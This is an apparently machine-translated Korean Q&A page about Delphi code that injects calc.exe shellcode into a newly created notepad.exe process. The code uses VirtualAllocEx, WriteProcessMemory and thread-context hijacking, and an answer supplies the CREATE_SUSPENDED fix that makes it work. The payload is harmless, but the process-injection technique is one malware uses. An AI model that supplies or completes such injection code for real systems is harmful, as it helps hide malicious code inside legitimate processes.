2014-10-04 2 views
-1

모든 것이 잘 작동하는 것처럼 보이지만 내 코드는 아무 것도하지 않습니다. calc를 메모장에 시작하는 쉘 코드를 삽입하고 싶습니다.델파이 코드 삽입

const 
    shellcode:array[0..124] of BYTE = (// exec of calc.exe 
    $fc,$e8,$44,$00,$00,$00,$8b,$45,$3c,$8b,$7c,$05,$78,$01,$ef,$8b, 
    $4f,$18,$8b,$5f,$20,$01,$eb,$49,$8b,$34,$8b,$01,$ee,$31,$c0,$99, 
    $ac,$84,$c0,$74,$07,$c1,$ca,$0d,$01,$c2,$eb,$f4,$3b,$54,$24,$04, 
    $75,$e5,$8b,$5f,$24,$01,$eb,$66,$8b,$0c,$4b,$8b,$5f,$1c,$01,$eb, 
    $8b,$1c,$8b,$01,$eb,$89,$5c,$24,$04,$c3,$5f,$31,$f6,$60,$56,$64, 
    $8b,$46,$30,$8b,$40,$0c,$8b,$70,$1c,$ad,$8b,$68,$08,$89,$f8,$83, 
    $c0,$6a,$50,$68,$7e,$d8,$e2,$73,$68,$98,$fe,$8a,$0e,$57,$ff,$e7, 
    $63,$61,$6c,$63,$2e,$65,$78,$65,$00,$00,$00,$00,$00); 

var 
    pi: TProcessInformation; 
    si: TStartupInfo; 
    ctx: Context; 
    remote_shellcodePtr: Pointer; 
    Written:Cardinal; 

procedure TForm1.Button1Click(Sender: TObject); 
begin 
    FillMemory(@si, sizeof(si), 0); 
    FillMemory(@pi, sizeof(pi), 0); 

    CreateProcess(
    Nil, 
    PChar('notepad.exe'), 
    Nil, Nil, False, 
    NORMAL_PRIORITY_CLASS, Nil, Nil,      // NORMAL_PRIORITY_CLASS 
    si, pi); 

    ctx.ContextFlags := CONTEXT_CONTROL; 
    GetThreadContext(pi.hThread,ctx); 

    remote_shellcodePtr:=VirtualAllocEx(pi.hProcess,Nil,SizeOf(shellcode),MEM_COMMIT, 
    PAGE_EXECUTE_READWRITE); 

    WriteProcessMemory(pi.hProcess,remote_shellcodePtr,@shellcode, 
    Sizeof(shellcode),written); 
    ctx.Eip:=Integer(remote_shellcodePtr); 
    ctx.ContextFlags := CONTEXT_CONTROL; 
    SetThreadContext(pi.hThread,ctx); 

    ResumeThread(pi.hThread); 
end; 

어쩌면 문제는 CreateProcess를에 있습니다

여기 내 코드입니다. 보안 설정은 CREATE_SUSPENDED | IDLE_PRIORITY_CLASS가 될 수 있습니다. 그러나 그것은 그것이 정의되지 않았 음을 알려줍니다.

+0

나는 당신의 질문이 여기에 있는지 모르겠지만 그것은 "그것이 정의되지 않은 것"이라고 생각합니다. ** 정확한 ** 오류 메시지를 게시하는 데 오류가 발생하면 도움이됩니다. 즉, 바로 앞에 정보가 있으므로 도움이 될만한 이유가 없습니다. (그게 문제가 아니라면, 질문을 편집하고 묻는 것에 대해 더 명확히하십시오.) –

+2

Windows API 함수의 결과를 항상 확인하십시오. 나중에 고마워 할 것입니다. –

+0

당신의 질문은 무엇입니까? –

답변

1

IDLE_PRIORITY_CLASSCREATE_SUSPENDED은 Windows 단위로 정의됩니다. 두 항목을 함께 사용하려면 or을 함께 사용하십시오.

David가 주석에서 지적한 것처럼 CreateProcess의 두 번째 매개 변수는 수정 가능해야하므로 상수를 전달할 수 없으며 대신 로컬 변수에 할당하고 해당 변수에 UniqueString을 호출 한 다음 그것을 대신 사용하십시오 :

var 
    AppToLaunch: string; 
begin 
    AppToLaunch := 'notepad.exe'; 
    UniqueString(AppToLaunch); 

    CreateProcess(nil, PChar(AppToLaunch), nil, nil, False, 
       IDLE_PRIORITY_CLASS or CREATE_SUSPENDED, 
       nil, nil, si, pi); 
+0

대단히 감사합니다. 또한 notepad.exe를 rundll32.exe로 변경해야합니다. –

+0

@kiss 그래서 진행하십시오. –

+0

@KindProcess에 대한 두 번째 매개 변수는 수정 가능해야합니다. 읽기 전용 메모리에 저장되어있는 리터럴을 전달하지 마십시오. 로컬 var에 할당하고 UniqueString을 호출하십시오. –